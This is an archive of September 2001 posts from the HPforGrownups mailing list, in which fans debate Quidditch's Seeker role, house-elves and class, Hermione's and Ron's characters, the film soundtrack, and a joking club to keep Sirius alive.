As for showing your feminist side, I think I know what you mean.  In some strange way, I would like to see more female villains (or *a* female villain--not counting Rita Skeeter), although I hope this year's DADA teacher is on the good side...

Devika :)



From avatar7 at uole.com.ve  Mon Sep 24 20:04:13 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Mon, 24 Sep 2001 16:04:13 -0400
Subject: [HPforGrownups] Mrs Figg, and her broken leg....
In-Reply-To: <9oia60+9kah@eGroups.com>
References: <9oia60+9kah@eGroups.com>
Message-ID: <01092416041304.02268@sysop>

No: HPFGUIDX 26628

Well, on about this one I would personally fit in between


> 3)She is actually a witch, but, as part of her disguise in the muggle
> world, cannot use any magic, or have contact with the magic world
> (perhaps part of the protection around Harry?)

Or this one

> 4)She is a witch, but in order to 'blend in' she's making a real
> effort not to use magic or appear different, so she's using crutches
> for the sake of appearances.

> Personally I like option 3 best...any thoughts?

       Well, I think maybe, MAYBE in case of a major emergency, she would use 
magic if needed.... I think she is just very much wise, a very fine actress 
and a very cautious person.



-- 
------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From avatar7 at uole.com.ve  Mon Sep 24 19:49:59 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Mon, 24 Sep 2001 15:49:59 -0400
Subject: [HPforGrownups] your job = what in HP land?
In-Reply-To: <4.2.0.58.20010921221758.009e3100@mail.mcn.org>
References: <4.2.0.58.20010921221758.009e3100@mail.mcn.org>
Message-ID: <01092415495903.02268@sysop>

No: HPFGUIDX 26629

On Date Saturday 22 September 2001 01:29, You Wrote:

> >Catherine in California/medieval Albion wrote:
> > > Somehow I can't imagine my old turf of > programmer would be needed
> > since they
> > > don't seem to have any kind of computers

Well I have always thought the Pensieve would either made by Sony. :) Just 
imagine it!!. Have you seen the latest "Pensieve Sports? ":)  Or what about 
"My First Pensieve?". :) 

3Com would have developed a e-version of the wanderers map, or at least a 
PalmPilot Version. :) And what about a PalmPilot stylus that holds in within 
a phoenix feather and acts like a magic emergency wand? :)

I do SysAdmin work on a large ISP with about 38.000 users on my node only 
right now.  Very frequently I do also take customers phone calls. Believe me, 
it seems sometimes like some sort of MoM work. :) Specially when you have to 
make things work, specially those ones that cannot be seen (Anybody ever 
thought what would be, in a more physical sense, the shape of "Sendmail" ? :) 

That is still, for some of us still muggles, magic.


------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From Willthson at yahoo.com  Mon Sep 24 20:10:56 2001
From: Willthson at yahoo.com (Willthson at yahoo.com)
Date: Mon, 24 Sep 2001 20:10:56 -0000
Subject: Harry Potter Movie Soundtrack
In-Reply-To: <14e.17f05c1.28e0d81a@aol.com>
Message-ID: <9oo40g+6p4m@eGroups.com>

No: HPFGUIDX 26630

The soundtrack is due out October 30th, and composer John Williams (of 
'Star Wars' and 'Indiana Jones' fame) wrote the music.  Bits of it can 
be heard on the movie trailers at harrypotter.com.  I'm glad to see 
that the movie warranted a top-notch composer like Williams.
willthson


--- In HPforGrownups at y..., idouright2 at a... wrote:
> Hey guys I'm new here and this is my first post I hope I don't annoy anyone :-D Well I was just wondering if anyone has heard a tracklisting or anything for the Harry Potter Soundtrack it looks like some of the composers on there are really good and it's out later this month but I just wanted to know if anyone of you had heard anything definite? Thanks alot!
> Andre





From caliburncy at yahoo.com  Mon Sep 24 20:15:59 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 24 Sep 2001 20:15:59 -0000
Subject: Quidditch conception (was Why Does Krum Catch The Snitch?)
In-Reply-To: <20010924193440.97025.qmail@web14408.mail.yahoo.com>
Message-ID: <9oo49v+cfsu@eGroups.com>

No: HPFGUIDX 26631

--- In HPforGrownups at y..., Marianna Lvovsky <mariannayus at y...> wrote:
> I never had  a problem with the scenario. Ireland
> seems to have the more balanced team. Bulgaria,
> person/per person is not as good as Ireland, but then
> they have Krum (one of those cases where the team gets
> ahead because one of its members is head and shoulders
> beyond everybody on his own and opposing teams).

This is actually closely-related to the one thing that I think is 
poorly-conceived (or brilliantly conceived, depending on how you view 
it) about Quidditch.  It seems to me that in real life this game would 
not go far, because of the excessive Seeker emphasis.  A truly 
brilliant team could be foiled by an awful seeker and a talented 
seeker might save a horrid team.  Sure, one person can make a big 
difference in any sport, but this is a bit much--if you consider, the 
only other person with near this much sway is the Keeper (the "if they 
can't score, you can't lose" philosophy), and even those efforts could 
be undone by the opposing Seeker rather easily.  Of course, on the 
flip-side I can't blame JKR.  In some ways, it's quite appropriate, 
because it was a very good way to put a lot of the weight on Harry's 
shoulders.  And after all, as a writer one should know when to 
sacrifice credibility for drama.

But really, can anyone think of any real life sport that has an equal 
potential for such severe imbalance?

-Luke




From jeremy_t_williams at hotmail.com  Mon Sep 24 20:47:32 2001
From: jeremy_t_williams at hotmail.com (Jeremy Williams)
Date: Mon, 24 Sep 2001 13:47:32 -0700
Subject: Hello
Message-ID: <F1683alUohIi6YEFmsQ000074a5@hotmail.com>

No: HPFGUIDX 26632

Hi all-

I'm brand new to this group but my wife and I love the books and love 
analyzing and picking through them.  I look forward to joining conversations 
in the future!

Jeremy

jeremy_t_williams at hotmail.com


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From jeremy_t_williams at hotmail.com  Mon Sep 24 20:54:39 2001
From: jeremy_t_williams at hotmail.com (jeremy_t_williams at hotmail.com)
Date: Mon, 24 Sep 2001 20:54:39 -0000
Subject: Hello!
Message-ID: <9oo6if+38g7@eGroups.com>

No: HPFGUIDX 26633

Sorry for the e-mail I sent... I should have done it this way.  
Anyway, newbie mistake.  I look forward to chatting "Harry Potter" 
with all.  Thanks for the great site!




From cynthiaanncoe at home.com  Mon Sep 24 21:18:48 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 24 Sep 2001 21:18:48 -0000
Subject: Quidditch conception (was Why Does Krum Catch The Snitch?)
In-Reply-To: <9oo49v+cfsu@eGroups.com>
Message-ID: <9oo7vo+ph6s@eGroups.com>

No: HPFGUIDX 26634

Luke wrote:

> This is actually closely-related to the one thing that I think is 
> poorly-conceived (or brilliantly conceived, depending on how you 
view 
> it) about Quidditch.  It seems to me that in real life this game 
would 
> not go far, because of the excessive Seeker emphasis.  A truly 
> brilliant team could be foiled by an awful seeker and a talented 
> seeker might save a horrid team.  Sure, one person can make a big 
> difference in any sport, but this is a bit much--if you consider, 
the 
> only other person with near this much sway is the Keeper (the "if 
they 
> can't score, you can't lose" philosophy), and even those efforts 
could 
> be undone by the opposing Seeker rather easily.  Of course, on the 
> flip-side I can't blame JKR.  In some ways, it's quite appropriate, 
> because it was a very good way to put a lot of the weight on 
Harry's 
> shoulders.  And after all, as a writer one should know when to 
> sacrifice credibility for drama.
> 
> But really, can anyone think of any real life sport that has an 
equal 
> potential for such severe imbalance?
> 


I can nominate one such sport:  Baseball.  I'm not a big fan, so 
correct me if I mess this up.  But one player, the pitcher, can 
almost singlehandedly win the game (by pitching a perfect game) or 
lose it by performing so badly that the game is essentially out of 
reach.  The other similarity between baseball and Quiddich is that 
the players, not the clock, determine when play ends.  In baseball, 
the game could conceivably go on forever, as it can in Quiddich.  

But then again, the seeker really has far more power than the pitcher 
in baseball.  Half the time, the contribution of the pitcher is nil 
because he is sitting on the bench while others on his team are at 
bat.  In Quiddich, the seeker is always on the field, able to end the 
game by performing one task successfully.

Cindy (who has just exhausted her knowledge of baseball)




From jeremy_t_williams at hotmail.com  Mon Sep 24 21:20:07 2001
From: jeremy_t_williams at hotmail.com (jeremy_t_williams at hotmail.com)
Date: Mon, 24 Sep 2001 21:20:07 -0000
Subject: I'm figuring this out now!  Added question...
Message-ID: <9oo827+a66h@eGroups.com>

No: HPFGUIDX 26635

Okay, so I send an email or just "post" a message; either way it goes 
to the public bb.  I was afraid that with the e-mail I would have 
sent a personal e-mail to all 2000+ people on the list!  Glad it 
doesn't work that way.

I've read on the lexicon the speculation that Voldemort did NOT do 
the following in this order as we had previously thought: kill James, 
kill Lily, attempt to kill Harry - as that is not the way his wand 
emptied.  My wife and I picked up on that immediately (hey, didn't 
James get killed first?  so wouldn't Lily come out first since the 
wand empties backwards?)  We didn't even think about the curse that 
must have hit Harry.

So here's my question: we know Voldemort tried to kill Harry, it 
backfired and all but destroyed him.  Then Lily was killed and then 
James, both with Voldemort's wand though he could not have done it 
himself.  So who did it?  And why in that order?  Any speculations?




From j.franklin at mail.utexas.edu  Mon Sep 24 21:23:38 2001
From: j.franklin at mail.utexas.edu (j.franklin at mail.utexas.edu)
Date: Mon, 24 Sep 2001 21:23:38 -0000
Subject: In Defense of Hermione and identity clarification
In-Reply-To: <9onut8+gmpv@eGroups.com>
Message-ID: <9oo88q+iaqh@eGroups.com>

No: HPFGUIDX 26636

Hi,
First...after my first post somebody (sorry can't remember who) wrote 
that they thougth I might be J.F. Ranklin (I don't know who that it 
is) so I wanted to clarify that I am not.  I am just a hopeless 
bookworm who is increasingly surprised at her fascination with Harry 
Potter books.  Sorry for the disapointment!
Secondly,  I would like to say that I think Hermione plays an 
increasingly important role as a social activist.  I know that there 
is a lot of controversy over whether she knows enough about the elves 
to properly do this so I am not going to go into that, but I have to 
say that I think her social activism is incredibly important.  As an 
American, I am dismayed by the lack of political interest among young 
people and instead the turn towards volunteerism (the New 
Volunteerism Movement across college campuses) not to say that 
volunteering is not incredibly important, but it does not offer any 
permanent solutions.  Perhaps Hermione's social activism was written 
by J.K Rowling in an attempt to encourage a new generation.  
Hermione's social conscience at such a young age is admirable 
especially in light of the coming choices between "what is right and 
what is easy."




From foxmoth at qnet.com  Mon Sep 24 21:26:43 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Mon, 24 Sep 2001 21:26:43 -0000
Subject: Wizarding Caste System [was: In Defense of Hermione]
In-Reply-To: <9ol99l+ecbi@eGroups.com>
Message-ID: <9oo8ej+lpq2@eGroups.com>

No: HPFGUIDX 26637

--- In HPforGrownups at y..., "Ebony" <ebonyink at h...> wrote:
> --- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
> <rowena_grunnion_ffitch at y...> wrote:
> >     My poin is House-Elves can't be validly compared
> > to low caste Hindus or African slaves or any other
> > Human group.
> 
> Yet this fictional work was not composed in isolation, was it?  It 
> may contain magic, but speculative fiction is often a 
commentary on 
> contemporary life and times, and the best literary works shed 
light 
> on some of the many facets of human nature.  
<snip>  Such relativist rhetoric bothers me a 
> great deal, especially when JKR has stated that she is 
exploring RL  issues through her created world.  She may not be 
commenting on humans as capital or a caste system; she might 
be making a point about the British class system.  Nevertheless, 
she IS making a  point.  
>snip>
> I don't care if House-Elves *aren't* human.  They are sentient 
> beings, and as such, deserve all the applicable rights, 
privileges, 
> etc. given to the sentient.  

I agree that the purpose of alien/mythical beings in speculative 
fiction is to tell us something about ourselves. The author  holds 
up a funhouse mirror to humanity, enlarging some traits and 
diminishing others.
    Thus JKR might show us sentient beings who prefer slavery to 
freedom, not because she thinks we should ever accept slavery, 
but to get us to ask ourselves whether, in some ways, we 
already do.   Suggesting that House *wives* ought to receive 
salaries, pensions and time off in return for their domestic 
labors would earn a derisive smile in all but the most radical 
circles, no?
  
	Pippin
Amazed that no one else ever picks up on this (to me) 
screamingly obvious paralell.






From usergoogol at yahoo.com  Mon Sep 24 21:30:54 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Mon, 24 Sep 2001 21:30:54 -0000
Subject: Harry Potter Movie Soundtrack
In-Reply-To: <9oo40g+6p4m@eGroups.com>
Message-ID: <9oo8me+cjhs@eGroups.com>

No: HPFGUIDX 26638

My parents said that a good choice for the soundtrack (a bit different, but with just the right mood) would be Jethro Tull.

~User "14" Googol~




From cynthiaanncoe at home.com  Mon Sep 24 21:45:14 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 24 Sep 2001 21:45:14 -0000
Subject: RL's Fate/SB's Fate
In-Reply-To: <9onk99+mcfd@eGroups.com>
Message-ID: <9oo9ha+ciju@eGroups.com>

No: HPFGUIDX 26639

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> Cindy wrote:
> 
> > Lupin's problem isn't
> > that people criticize him or dislike him.  It is that people 
assume
> > he is expendable.
> 
> I was going to respond, but Luke said everything that was on my 
mind 
> perfectly.
> 
> The death that will "half-crucify" JKR in OoP is NOT Lupin, unless 
we 
> allow for the wereghost possibility, because she has said that he 
will 
> play a role in book 7:
> 

Amy, now you've got me a little worried.  We know that JKL never does 
the obvious.  That, and the evidence you provide that Lupin will 
appear in Book 7, suggests that he is safe for now.  (Whew!)  

So who has a bulls-eye on his or her back?  In the Derby, I don't 
think anyone suggested Sirius would die.  But aside from Harry, 
Sirius is the character who faces the most "risk."  He could die at 
the hands of Voldemort, MoM, or a dementor.  It also fits that it 
would half-crucify JKR to write Sirius' demise (it would half-crucify 
me, anyway), and it would satisfy Luke's theory that we can't just 
have peripheral characters dying.

That means we need a Sirius club, and in a hurry, too.  Acronyms, 
anyone?

Cindy (who would sacrifice Ginny AND Neville to save Sirius)




From jeremy_t_williams at hotmail.com  Mon Sep 24 22:08:51 2001
From: jeremy_t_williams at hotmail.com (jeremy_t_williams at hotmail.com)
Date: Mon, 24 Sep 2001 22:08:51 -0000
Subject: How about "FOPF" (Fans of Padfoot)?
In-Reply-To: <9oo9ha+ciju@eGroups.com>
Message-ID: <9ooatj+84qg@eGroups.com>

No: HPFGUIDX 26640

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> > Cindy wrote:
> > 
> > > Lupin's problem isn't
> > > that people criticize him or dislike him.  It is that people 
> assume
> > > he is expendable.
> > 
> > I was going to respond, but Luke said everything that was on my 
> mind 
> > perfectly.
> > 
> > The death that will "half-crucify" JKR in OoP is NOT Lupin, 
unless 
> we 
> > allow for the wereghost possibility, because she has said that he 
> will 
> > play a role in book 7:
> > 
> 
> Amy, now you've got me a little worried.  We know that JKL never 
does 
> the obvious.  That, and the evidence you provide that Lupin will 
> appear in Book 7, suggests that he is safe for now.  (Whew!)  
> 
> So who has a bulls-eye on his or her back?  In the Derby, I don't 
> think anyone suggested Sirius would die.  But aside from Harry, 
> Sirius is the character who faces the most "risk."  He could die at 
> the hands of Voldemort, MoM, or a dementor.  It also fits that it 
> would half-crucify JKR to write Sirius' demise (it would half-
crucify 
> me, anyway), and it would satisfy Luke's theory that we can't just 
> have peripheral characters dying.
> 
> That means we need a Sirius club, and in a hurry, too.  Acronyms, 
> anyone?
> 
> Cindy (who would sacrifice Ginny AND Neville to save Sirius)




From pennylin at swbell.net  Mon Sep 24 22:36:21 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Mon, 24 Sep 2001 17:36:21 -0500
Subject: Hermione: a Braggart?  Not
References: <9onk99+mcfd@eGroups.com>
Message-ID: <3BAFB565.8050005@swbell.net>

No: HPFGUIDX 26641

Hi --

Amy Z wrote:

> 
> I grant you her boasting is not empty--call her a boaster, then, not a
> braggart.  But we *do* hear her loudly proclaiming her good marks from
> time to time, sorry as I am to say so.
> 
> "'You'll lose all the points I got from Professor McGonagall for
> knowing about Switching Spells.'"  (PS/SS 9)

Well, (a) the above exampe is from SS, and we at SCHABB maintain that 
current Hermione (post-GoF) is not nearly so bossy & know-it-allish, and 
(b) she's not exactly boasting IMO.  She doesn't say "I got 40 points 
from McGonagall for knowing Switching Spells, and oh by the way, I got 
99 of 100 points on that essay for her last week.  What did you get?"  I 
don't think she's prone to asking what others have done & comparing her 
own performance to that of others.  I recognize that comparisons don't 
need to be made for her to still be boastful about her own performance, 
but I still just don't see her as boastful or as a braggart (despite 
your examples).

> 
> and then there's the very irritating (though hilarious)
> 
> "Trying to answer a question with Hermione next to him, bobbing up and
> down on the balls of her feet with her hand in the air, was very
> off-putting, but Harry had a go."  PA 7
> 
> Raising one's hand whenever one knows the answer is good--bouncing up
> and down while someone else has already been called on and is trying
> to answer is obnoxious.  Again, I love Hermione, and I am so much like
> her it's scary, but this is definitely beyond being a smart,
> self-confident kid.

Still not bragging per se.  I'll grant you that this is obnoxious 
behavior though.  :--)

Penny




From mariannayus at yahoo.com  Mon Sep 24 22:38:22 2001
From: mariannayus at yahoo.com (Marianna Lvovsky)
Date: Mon, 24 Sep 2001 15:38:22 -0700 (PDT)
Subject: [HPforGrownups] Re: RL's Fate/SB's Fate
In-Reply-To: <9oo9ha+ciju@eGroups.com>
Message-ID: <20010924223822.26750.qmail@web14408.mail.yahoo.com>

No: HPFGUIDX 26642



--- cynthiaanncoe at home.com wrote:

> 
> Amy, now you've got me a little worried.  We know
> that JKL never does 
> the obvious.  That, and the evidence you provide
> that Lupin will 
> appear in Book 7, suggests that he is safe for now. 
> (Whew!)  
> 
> So who has a bulls-eye on his or her back?  In the
> Derby, I don't 
> think anyone suggested Sirius would die.  But aside
> from Harry, 
> Sirius is the character who faces the most "risk." 
> He could die at 
> the hands of Voldemort, MoM, or a dementor.  It also
> fits that it 
> would half-crucify JKR to write Sirius' demise (it
> would half-crucify 
> me, anyway), and it would satisfy Luke's theory that
> we can't just 
> have peripheral characters dying.
> 
> That means we need a Sirius club, and in a hurry,
> too.  Acronyms, 
> anyone?
> 
> Cindy (who would sacrifice Ginny AND Neville to save
> Sirius)
> 
> 

I can't come up with a cup acronym (with a possible
exception of KISS (keep indespensable Sirius safe),
but that one is already taken :), but I'll join the
club.

That's the one character I don't want to be killed
off, simply because he had such a horrible life, and
it would be very uinfair.

Marsha/Marianna,

who'd sacrifice Ginny, Neville, Snape and *gasp*
Hagrid to keep that from happening (and almost
everyone else in the books, but will not be brave
enough to admit it)



__________________________________________________
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Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com



From aiz24 at hotmail.com  Mon Sep 24 22:46:16 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Mon, 24 Sep 2001 22:46:16 -0000
Subject: Hermione: a Braggart?  Not
In-Reply-To: <3BAFB565.8050005@swbell.net>
Message-ID: <9ood3o+995b@eGroups.com>

No: HPFGUIDX 26643

Penny wrote:
 
> > "'You'll lose all the points I got from Professor McGonagall for
> > knowing about Switching Spells.'"  (PS/SS 9)
> 
> Well, (a) the above exampe is from SS, and we at SCHABB maintain 
that 
> current Hermione (post-GoF) is not nearly so bossy & know-it-allish

I did say a couple of posts up-thread that she's improved 500%.  In 
fact, I would use this example in an essay showing how Hermione's 
social skills have improved through the books, except that I'm not 
going to write one.  Any takers?

Amy Z, who wants to donate an extra couple of Sickles to SCHABB so 
that her devotion to Hermione is perfectly clear

---------------------------------------------------------
 My country is the world, and my religion is to do good.
                   --Thomas Paine, "The Rights of Man"
---------------------------------------------------------




From avatar7 at uole.com.ve  Mon Sep 24 22:52:31 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Mon, 24 Sep 2001 18:52:31 -0400
Subject: [HPforGrownups] Re: Harry Potter Movie Soundtrack
In-Reply-To: <9oo8me+cjhs@eGroups.com>
References: <9oo8me+cjhs@eGroups.com>
Message-ID: <01092418523105.02268@sysop>

No: HPFGUIDX 26644

On Date Monday 24 September 2001 05:30, You Wrote:
> My parents said that a good choice for the soundtrack (a bit different, but
> with just the right mood) would be Jethro Tull.
>
> ~User "14" Googol~


I TOTALLY Agree with it, or either something I've just discovered thanks to 
Internet Magic, a band called Capercaillie, which sounds somewhat celtig and 
at the same time, modern. 

Some Tull tunes would fit in very well, though. Just imagine Haggrid singing 
"Let me bring you Songs from the Wood......"


two sickles. :)


------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From devika261 at aol.com  Mon Sep 24 23:08:21 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Mon, 24 Sep 2001 19:08:21 EDT
Subject: [HPforGrownups] Re: RL's Fate/SB's Fate
Message-ID: <122.4df7dcd.28e116e5@aol.com>

No: HPFGUIDX 26645

In a message dated Mon, 24 Sep 2001  6:06:47 PM Eastern Daylight Time, cynthiaanncoe at home.com writes:

> Amy, now you've got me a little worried.  We know that JKL never does 
> the obvious.  That, and the evidence you provide that Lupin will 
> appear in Book 7, suggests that he is safe for now.  (Whew!)  
> 
> So who has a bulls-eye on his or her back?  In the Derby, I don't 
> think anyone suggested Sirius would die.  But aside from Harry, 
> Sirius is the character who faces the most "risk."  He could die at 
> the hands of Voldemort, MoM, or a dementor.  It also fits that it 
> would half-crucify JKR to write Sirius' demise (it would half-crucify 
> me, anyway), and it would satisfy Luke's theory that we can't just 
> have peripheral characters dying.
> 
> That means we need a Sirius club, and in a hurry, too.  Acronyms, 
> anyone?
> 
> Cindy (who would sacrifice Ginny AND Neville to save Sirius)
> 

Sign me up!  I'll pay two sickles, or two galleons, or the rest of the money in my imaginary Gringotts vault--whatever it takes to keep Sirius safe.  He's my favorite character in the books (with Lupin and Snape right behind), and I think he's had so little chance to live that it would be incredibly unfair to have him die.  Not to mention what his death would do to Harry.  So anyway, if you'll have me, I will be a proud member of whatever we decide to call ourselves.  I'll let you know if I come up with a good name.
Devika :)



From mindyatime at juno.com  Mon Sep 24 23:13:08 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Mon, 24 Sep 2001 19:13:08 -0400
Subject: Why did Krum Get the Snitch?
Message-ID: <20010924.191941.-502595.21.mindyatime@juno.com>

No: HPFGUIDX 26646

Mirzam:

"This whole bet is very exceptional and almoust impossible to win, 
because of the game strategy. It almost sounds like a plan to me. If 
it wouldn't be so clear, I would suggest that Fred, George and Viktor 
had an arrangement. But the twins didn't knew Krum, did they?"

No, but the twins know Quidditch and they know the strengths each team
had. they know that Irish has exceptional chasers and Krum is an
exceptional Seeker. As soon as they made that bet I knew they were going
to win!
________________________________________________________________
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From caliburncy at yahoo.com  Mon Sep 24 23:33:04 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 24 Sep 2001 23:33:04 -0000
Subject: Quidditch conception (was Why Does Krum Catch The Snitch?)
In-Reply-To: <9oo7vo+ph6s@eGroups.com>
Message-ID: <9oofrg+r8bo@eGroups.com>

No: HPFGUIDX 26647

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> But then again, the seeker really has far more power than the 
> pitcher in baseball.  Half the time, the contribution of the pitcher 
> is nil because he is sitting on the bench while others on his team 
> are at bat.  In Quiddich, the seeker is always on the field, able to 
> end the game by performing one task successfully.

Yeah, the "perfect pitcher" game is a reasonable example just like the 
goalie (like a Keeper in Quidditch) is a good example under that "if 
they can't score..." philosophy.  But as you also seem to be starting 
to say, the Seeker's job is much more frequent in it's one-sidedness. 
 At least it's a *rarity* for a pitcher to pitch a perfect game, or a 
goalie to block every attempted shot.  But with the Seeker, every game 
it's like this, because every game requires catching the Snitch to end 
it.

That's the other thing that annoys me about the Seeker concept.  He or 
she is really not much of a team player.  He or she has only one job 
the entire match which really has nothing to do with the rest of the 
game.  And it basically involves no interaction with the Chasers or 
the Keeper, though there's at least some interaction with the Beaters.

Okay, I'm sure billions upon billions of people have pointed all this 
out before, so as I'm saying nothing new or althogether interesting, 
I'll stop.

-Luke




From rowena_grunnion_ffitch at yahoo.com  Mon Sep 24 23:59:54 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Mon, 24 Sep 2001 16:59:54 -0700 (PDT)
Subject: [HPforGrownups] Re: Wizarding Caste System [was: In Defense of Hermione]
In-Reply-To: <9oo8ej+lpq2@eGroups.com>
Message-ID: <20010924235954.86557.qmail@web20805.mail.yahoo.com>

No: HPFGUIDX 26648


--- foxmoth at qnet.com wrote:
   Suggesting that House *wives* ought to
> receive 
> salaries, pensions and time off in return for their
> domestic 
> labors would earn a derisive smile in all but the
> most radical 
> circles, no?

      The question is who would pay the salaries,
pensions etc? The government? and who substitutes for
Mom when she's on vacation?

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com



From ebonyink at hotmail.com  Tue Sep 25 00:01:16 2001
From: ebonyink at hotmail.com (Ebony)
Date: Tue, 25 Sep 2001 00:01:16 -0000
Subject: Cutting Ron A Break
In-Reply-To: <54F8D26F.58933064.6E93A4F5@netscape.net>
Message-ID: <9oohgc+h09m@eGroups.com>

No: HPFGUIDX 26649

--- In HPforGrownups at y..., dfrankiswork at n... wrote:
> Cutting Ron a break...

<snip of some VERY good stuff>

> I believe (without being exactly sure how) that something similar 
leads to the IMO rather strange view that if you are pro-Ron you must 
somehow be anti-Hermione.  Not a view that any of the trio themselves 
would understand.

I agree.  And to be fair (although I am in this camp), often those in 
my ideological camp are anti-Ron at the exclusion of all else.  I 
know why we do it, but I don't want anything *bad* to happen to Ron; 
that would cause all the other characters pain and they have enough 
of that.  I'd rather have him reform.

 
> I realise that once all this brushwood has been cleared away there 
is still an issue for some listies about the way Ron's character is 
developing - is he going to take umbrage every time he's put in a 
situation he doesn't like?  Personally, I find the last chapter of 
GOF encouraging: Ron struggles, with partial success, to overcome his 
gut reactions to Fleur and Krum.  Also (putting myself in the POV of 
a non-existent close friend of the trio), I trust Hermione's 
judgement that she wants to remain a friend of Ron's.
> 

I do, too... and that's why I have serious reservations about Ron's 
character, but try very hard these days to stop short of attacking 
him and his defenders.  Who knows, post-OotP I just may be banging on 
the door of C.R.A.B. headquarters.

I am not sure how I feel about Ron, though.  That bothers me.  
Contrary to popular belief, I really *want* to like Ron as a 
character more than I do.  I mean, for a good two books I liked him 
*much* better than my current favorite character.  (Sidenote:  I am 
NOT fickle!)

> A final question: one POV missing from the above is Hermione's.  Is 
there anything she could have done to help, other than what she did 
do? Or do you think she was too soft on the boys, and that people who 
behave badly should be treated to the cold shoulder?
> 

I actually thought about this.  I think she ought to have stayed out 
of it completely instead of playing mediator.

Does anyone else think that Harry and Ron will argue again, or even 
fight?  Any predictions?

--Ebony AKA AngieJ (who cannot BELIEVE she is posting to HP4GU two 
days in a row... whoa...)





From cynthiaanncoe at home.com  Tue Sep 25 00:05:09 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 25 Sep 2001 00:05:09 -0000
Subject: SB's Fate
In-Reply-To: <122.4df7dcd.28e116e5@aol.com>
Message-ID: <9oohnl+k5a5@eGroups.com>

No: HPFGUIDX 26650

--- In HPforGrownups at y..., devika261 at a... wrote:
> In a message dated Mon, 24 Sep 2001  6:06:47 PM Eastern Daylight 
Time, cynthiaanncoe at h... writes:
> 
> > Amy, now you've got me a little worried.  We know that JKL never 
does 
> > the obvious.  That, and the evidence you provide that Lupin will 
> > appear in Book 7, suggests that he is safe for now.  (Whew!)  
> > 
> > So who has a bulls-eye on his or her back?  In the Derby, I don't 
> > think anyone suggested Sirius would die.  But aside from Harry, 
> > Sirius is the character who faces the most "risk."  He could die 
at 
> > the hands of Voldemort, MoM, or a dementor.  It also fits that it 
> > would half-crucify JKR to write Sirius' demise (it would half-
crucify 
> > me, anyway), and it would satisfy Luke's theory that we can't 
just 
> > have peripheral characters dying.
> > 
> > That means we need a Sirius club, and in a hurry, too.  Acronyms, 
> > anyone?
> > 
> > Cindy (who would sacrifice Ginny AND Neville to save Sirius)
> > 
> 
> Sign me up!  I'll pay two sickles, or two galleons, or the rest of 
the money in my imaginary Gringotts vault--whatever it takes to keep 
Sirius safe.  He's my favorite character in the books (with Lupin and 
Snape right behind), and I think he's had so little chance to live 
that it would be incredibly unfair to have him die.  Not to mention 
what his death would do to Harry.  So anyway, if you'll have me, I 
will be a proud member of whatever we decide to call ourselves.  I'll 
let you know if I come up with a good name.
> Devika :)


Perhaps the name has to capture the foundation of our objection to 
Sirius' demise.  So how about E.T.U.K.S.S.Y. (End The Unfairness of 
Killing Sirius So Young)?  As there is much demand, perhaps we all 
must pony up a whole galleon to join?

Cindy (who thinks we will also need a 12-step program for all of 
those suffering Sirius withdrawal)




From inviziblegirl at hotmail.com  Tue Sep 25 00:47:44 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Mon, 24 Sep 2001 20:47:44 -0400
Subject: [HPforGrownups] Re: Cutting Ron A Break
Message-ID: <F204c0Ne0PaLI9mK6PY00005a11@hotmail.com>

No: HPFGUIDX 26651


>From: "Ebony" <ebonyink at hotmail.com>
>
>Does anyone else think that Harry and Ron will argue again, or even
>fight?  Any predictions?

*grin* Well, of COURSE they're going to fight again! Throw Hermione into the 
mix as well. There's no such thing as a perfect, waves free friendship 
(IMO).

*grabs her crystal ball out of the broom closet* I predict something that 
will throw them all apart. In the past "fights", it's been one of the Trio 
mad at another. I imagine JKR will throw them into a fight where all three 
are angry at each other and not speaking.

I think JKR is going to further emphasize the jealousy that Ron feels for 
Harry, which is a ripe area for conflict. She could also emphasize the 
jealousy that Harry feels towards Ron's family.

As for Hermione, I must admit I have a hard time imagining something to make 
her hacked off at Harry and Ron. *grin* The only thing I can think up is 
that she puts her foot down at a prank that Harry and Ron play (due to 
dangerous factors, maybe?) or gets angry at them for not applying themselves 
more to their schoolwork.

Yeah, I know, boring, obvious predictions. I'm hoping JKR will come up with 
something more original than I can!

~Amber

********
